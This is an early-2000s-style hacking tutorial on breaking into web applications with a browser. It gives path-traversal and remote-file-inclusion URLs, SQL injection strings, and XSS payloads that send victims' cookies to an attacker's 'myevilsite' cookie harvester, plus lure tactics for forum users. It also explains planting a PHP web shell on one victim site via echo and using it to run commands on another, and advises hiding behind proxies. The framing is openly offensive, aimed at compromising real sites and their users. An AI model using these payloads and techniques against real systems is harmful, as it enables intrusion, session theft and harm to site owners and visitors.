In this article, I will highlight some of the most common methods to find bugs and hack your way into web application using just the web browser. This article does not present anything new. There are a lot of methods to hack web application, and there are also tons of tools out there to help you in your hacking endeavours. Consult some of the references and tools listed at the end of this article if you wish to do some hardcore web hacking. This article is, however, aimed at the occasional hackers, those who hack whenever there is time or those who are curious in exploiting URLs.

Hopefully, you may find a few tricks or help get started on web hacking, but please check out the references for those who develop some of the techniques. Topics covered in this article include remote command execution, XSS, SQL injection, session ids, and hacking websites using other websites. NOTE: None of the URLs used in this article are real, they are hypothetical based on some of the real URLs that I've encountered.

--] 2.0 Tools 

You need a web browser. I suggest using Internet Explorer rather than Opera 
or any other browsers. This is because IE handles URLs better than Opera. 
An example is the following URL: 

http://victim/scripts/winnt/system32/cmd.exe?/c+copy+c:winntsystem32 

tskill.exe+c:inetpubscriptspskill.exe 

IE will send the URL properly to the webserver, whereas Opera will replace 
the "" with "/", which may not give you the results that you want unless 
you manipulate the URL. In addition, IE gives a nicer output than Opera. 

The same thing may happen with the following URL hack: 

http://victim/page.pl?file=../../../../../../../bin/ls 


Opera will happily write it to become: 

http://victim/bin/ls 


In some instances, depending on how the web application is written, you 
may want to use Opera. An example that I've encountered is SQL injection is 
not possible using IE on one site because of cookie handling, but when I 
switch to Opera, it was possible. Your mileage may vary in this case. 

This will be used save all the interesting URLs that you get, and also 
record error messages and various web server messages. 

You need a list of reliable proxy servers. If you are really paranoid, hide 
your traces using multiple proxies. 

--] 3.0 Collecting and Examining URL 1 - Remote Command Execution 

URLs are fun. Lets take a look at this example: 

http://victim.com/news.pl?date=current&cat=soccer&template=sport&file=3306.txt 


An interesting pair of key and value is file and 3306.txt, and the fact that 
the site a news site. The following can be deduced: 

1. 3306.txt is a random file name that is generated daily 
2. 3306.txt is possibly stored in some directory on the server 

So what can we do? Try replacing it with the following: 

1. 3305.txt 
2. 3307.txt 
3. foobar.txt 
4. a3305.txt 
5. 1.txt 
6. http://www.google.com (or your favorite URL, no kidding!) 
7. ../../../../../bin/ls (or ../../bin/ls or ../bin/ls or ../../bin/ls%00) 

I included the last one because of news.pl, a high chance that the server 
is hosted on a *nix platform. If you are lucky, you might get interesting 
server output. 

On some applications that I've tested, the number of "../" may varies. Just 
keep on trying until you get the intended output. 

If all else fail, you can try the following tricks: 

1. http://victim/page.pl?file=../../bin/ls%00 

2. http://victim/page.pl?file=|../../bin/ls%00 

3. http://victim/page.pl?file=../../bin/ls| 


NOTE: On PHP pages, the %00 may not work if the variable magic_quotes_gpc is 
set to Off in php.ini. If the setting is on, PHP will change the 0x00 byte into 
"", which does not give you the intended results. Also on PHP, executing 
commands directly is NOT possible. Refer to Section 5.0 and 8.0 on how to 
execute remote commands on PHP powered webservers. 

Why would I want to replace 3306.txt with http://www.google.com? If you 
are directed to google.com, chances are, you can redirect it to a specially 
crafted URL and run commands on the webserver, like: 

http://victim.com/news.pl?date=current&cat=soccer&template=sport& 

file=http://myevilsite/cmd.php?cmd=ls 


where cmd.php in myevilsite contains the following simple code: 



This problem was detected in PHPNuke. In my example, this may not happen since 
it is a Perl powered web application. Try this out if you encounter any PHP 
powered site. 

Or why don't we just directly send this query: 

http://victim.com/3306.txt 


A poorly written web application may give you the text file right away in its 
unprocessed ASCII format. If the server gives a message indicating file not 
found, the path to 3306.txt may be available if you view the source code of 

http://victim.com/news.pl?date=current&cat=soccer&template=sport&file=3306.txt 


Another interesting key/value pair is "template" and "sport". "template" may 
mean that a HTML template is used to create the HTML file from 3306.txt. 
This is a valid assumption since it is almost universal that 3306.txt is an 
ASCII text file. In this case, you can replace sport with other values 
like the ones that I've shown. 

What about "cat" and "date"? Let your imagination and creativity runs wild 
with that. 

--] 4.0 Collecting and Examining URL 2 - SQL injection 

Let's look for potential SQL injection vulnerabilities. 

http://victim.com/who.asp?id=3306 


This is straighforward. Just replace 3306 with any of the following: 

1. 3306' 
2. 3306' or 1=1- 
3. 3306' union select table_name from information_schema.tables-- 
3. 3306 union select table_name from information_schema.tables-- 

If the web application does not filter input properly (in my experiences, 
out of 10 websites, only 2 or 3 filter user input), any of the four will 
give enough indication for SQL injection attack. 

Depending on the original queries, you can also try the following: 

1. 3306 or 1=1-- 
2. 3306" or 1=1-- (double quotes) 
3. 3306'or 'a'='a 
4. 3306"or "a"="a 
5. 3306') or ('a'='a 

You can also do the same for POST requests (i.e. web pages that contains 
text input boxes). So if the webpage requires you to input login name and 
password or seach keyword, key in the above. If there is limitation in the 
number of characters you can enter or some JavaScript validation, simply 
copy the source and modify it, and use your modified login page instead. 

Once you get the appropriate error messages, you can carry on performing 
advanced SQL injection techniques. 

--] 5.0 Examining URL 2 - Cross Site Scripting 

I don't normally fancy XSS, but one XSS techniques that I would like to 
explain is cookie theft. 

The technique to manually look for XSS vulnerabilities is the same as 
explained in Section 3.0. Here are some samples of XSS vulnerabilities: 

- http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/ 

education/?ID=MCTN&target=alert(document.cookie) 

- http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw= 

alert(‘Test’); 

In the first URL, you will get a pop window displaying cookie. Your cookie 
may contain username and a base64 decoded password (which we all know is a no 
brainer to crack). What we want to do is steal cookies using the simplest means 
possible. 

One good target is community sites and forum. To test for XSS vulnerabilities, 
simply put the following in a submission text box: 

alert("fookimak") 

Preview (!) your submission, and wait for the pop-up. Other things that you 
can try are (replace [code] with the Javascript code that you want to execute: 

- 
- 
- &[code] 
- &{[code]}; (Nescape 4) 
- (Netscape 4) 
- 
- (IE) 

So what next? We need a way to capture the cookies. Set up an evil page on 
another evil server. This evil page will capture all the cookies. The 
following simple PHP code can be used: 



Put that in your server, and link it from the forum/news page like this: 

document.location='http://myevilsite/cookie.php%3Fcookie='+document.cookie' 


Cookies will be sent to myevilsite everytime web surfers read the posting, and 
written to the file cookie.txt. 

Some hints: 
1. Choose a community server. 
2. Create an interesting and alluring profile, preferably with pictures of 
models (but don't make it too obvious). 
3. Check for XSS vulnerabilities on the personal info page. 
4. If XSS is possible, embed the XSS code in your personal information. 
5. Start participating in forums by posting provocative, etc, messages (you get 
the idea). 
6. Chances are, if you are "interesting" enough, they will view your profile 
and in doing so, giving you their cookie! 

Also, you may want to try embedding XSS code in the topic for forum pages. 
You'll collect cookies faster this way. 

If you don't have a server, apply for an account at sourceforge and put your 
script there, but I advise strongly against this. Or you can jump to 
Section 8.0 to find out how I attack another site using yet another site. 

--] 6.0 Examining URL 3 - Overflowing using lynx and Perl 

The techniques here can be used to overflow web applications. To find potential 
target, refer to Section 3.0. What you need here is any *nix and Perl. 
Alternatively, if you use Windows (like I do), you can install cygwin. 

Its fairly easy. On the prompt just type: 

lynx http://victim/page.pl?id=`perl -e 'print A x 1024'` 

This generate 

http://victim/page.pl?id=AAAAAAAAA...... (1024 As) 

What can we achieve here? Well, for one thing, we may potentially crash the 
application or the webserver. 

--] 7.0 Examining URL 4 - Hijacking Session IDs 

A more interesting attack is in the form of session ID hijacking. Simply put, 
session ids are assigned to a user whenever he or she logs in or access a 
website. This id will be propagated throughout the session, and by using this 
id, the user does not need to supply username or password to browse the 
website. The session is destroyed when the user logs out or when the browser 
is closed. 

Some application attach the session ids on the URL, while others write it to 
temporary files, or insert it to database. 

Session ids are easy to identify. The following are samples of session ids 
taken from one website: 

http://onewebsite/profile_update.jsp?Session_ID=1489175916.1017727385 

http://onewebsite/profile_update.jsp?Session_ID=0970763919.1017727922 

http://onewebsite/profile_update.jsp?Session_ID=1872895514.1017728566 


These ids are hard to predict, but given enough time, more samples, and 
resources, an attacker can probably generate a sequence of ids that can be 
used to hijack a session. 

This is an example of a randomly generated link from one card greeting site: 

http://starsite/view_card.asp?card_id=69&uid=3306 

http://starsite/view_card.asp?card_id=17&uid=3245 

http://starsite/view_card.asp?card_id=88&uid=5416 


An attacker can replace uid with any valid four digits, and view other people's 
greeting cards provided that the id is still valid. 

Session ids may also be in put in hidden fields in the HTML page. To discover 
hidden session ids, take time to view the HTML source :) 

Hijacking session ids is beyond the scope of this article. You can get more 
information from this excellent paper written by David Endler of iDefense. 
It contains some Perl script that you can customize to generate session ids. 

--] 8.0 Websites Attacking Websites - How to Minimize Your Resources 

I include this part because I had the following problem: I don't have my own 
webserver and I have forgotten my tripod login name and password, and I want 
to run commands as explained in Section 5.0. However, I've found two 
web applications - one allows remote command execution (it is Perl based, and 
runs Apache on some *nix), one allows remote file inclusion (it is PHP based, 
and runs on Apache on some *nix), as explained in Section 3.0 and 5.0. 

Assume the two URLs are like these: 

http://victim1/page.php?file=http://www.google.com 

http://victim2/fooki.pl?pos=../../bin/ls 


On victim1, I am unable to execute remote commands, but I am able to include 
other URLs (this is a feature of the fopen() function in PHP, in which you 
can open URLs). In this case, I want to include a URL that allows me to 
execute remote command on victim1, like this: 

http://myevilsite/cmd.php?cmd=ls 
">http://victim1/page.php?file=http://myevilsite/cmd.php?cmd=ls 


where cmd.php is as simple as 



Sadly, I don't have myevilsite. Instead I am going to create cmd.php on 
victim2, in order to have: 

http://victim2/cmd.php?cmd=ls 
">http://victim1/page.php?file=http://victim2/cmd.php?cmd=ls 


Unfortunately, I cannot upload files to victim2, and using wget, fetch does 
not work because of firewall. 

http://victim2/fooki.pl?pos=../../bin/wget%20http://hax0r/cmd.php 


Easy, just use the echo command to create cmd.php: 

http://victim2/fooki.pl?pos=../../bin/echo -e "74%3fphp system(%3fcmd); ?76" > cmd.php. 

Note that, in the echo command, I've give the option "-e" to enable 
interpretation of the backslash escape character. "" are replaced 
with their octal values 074 and 076 respectively. "?" is replaced with its 
hex value %3f. After you've created the file, you can check it using cat. If 
all goes well, the simply do: 

http://victim2/cmd.php?cmd=ls 
">http://victim1/page.php?file=http://victim2/cmd.php?cmd=ls 


This gonna put some people into deep shit :D 

cmd.php can be written to support many features, such as file uploading 
capabilities. In fact, POST method is preferred to execute commands because 
POST's variables are not logged by the webserver. 

Similarly, you can also create the cookie harvester in Section 5.0 and place 
in it victim2. 

--] 9.0 Application Attack Example - PHPNuke 

Many vulnerabilities have been discovered regarding PHPNuke. I suggest readers 
to consult the following links to learn more about PHPNuke vulnerabilities, 
and apply the methods to other application. 

http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt 

http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt 

http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt 


--] 10.0 Conclusion 

One of the most interesting method to discover web application vulnerabilities 
is to familiarize oneself with URLs. Good hackers are able to find 
vulnerabilities just by looking at the URL. 

Another method is fault injection (which encompasses SQL injection and XSS). 
This method is simply injecting random, weird, etc values to a query string, 
and then observing the output from the web application and/or web server. 

--] 11.0 References 

*The title is chosen, because, I hack web pages occasionally :D 

[1] http://online.securityfocus.com/archive/1/272037 

[2] http://www.cgisecurity.com/articles/xss-faq.txt 

[3] http://mel.ini2.net/p/sql_injection_walkthrough.txt 


--] 12.0 Tools 

You might be interested in these tools. 

[1] ScreamingCSS, http://www.devitry.com/screamingCSS.html 

A Perl script that can scan webpages for XSS vulnerabilities, written by 
David deVitry 

[2] mieliekoek.pl, http://mel.ini2.net/tools/mieliekoek.pl 

A Perl script that test webpages for SQL injection vulnerabilities, using 
POST requests, written by Roelof W Temmingh 

[3] sql_enum.pl, http://mel.ini2.net/tools/sql_enum.pl 

I use this to enumerate any fields/columns/table in a database once I am 
able to verify and construct the appropriate SQL injection queries. 

[4] sqlscan.pl, http://mel.ini2.net/tools/sqlscan.pl 

A lame script that test a webpage (just a page at a time) for SQL injection 
vulnerabilities using GET requests. 

[5] WebSleuth, http://www.geocities.com/dzzie/sleuth/ 

A very fine tool written by dzzie. Contains several plugins such as a web 
crawler, SQL injection tester, and session IDs scanner. 

[6] Whisker, http://www.wiretrip.net 

The web scanner tool of choice, written by Rain Forest Puppy. To be frank, 
I have never used whisker.